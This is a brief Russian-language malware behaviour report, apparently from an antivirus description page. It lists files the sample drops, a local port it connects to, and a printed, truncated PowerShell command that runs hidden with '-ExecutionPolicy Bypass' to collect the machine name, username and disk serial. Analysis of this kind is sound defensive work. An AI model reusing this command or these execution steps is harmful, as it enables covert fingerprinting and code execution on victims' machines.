Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- $t1 как %temp + %\ + $t2
Изменения в файловой системе
Создает следующие файлы
- <Текущая директория>:{4d005200-3500-3700-7700-6b0041007900}
- %APPDATA%\test.vbs
Сетевая активность
Подключается к
- 'localhost':9942
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\Test.vbs"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command "$spl = '\';$vn = 'Guest';function info { try {$mch = [environment]::Machinename;$usr = [environment]::username;$HWD = (Get-WmiObject Win32_LogicalDisk).VolumeS...' (со скрытым окном)
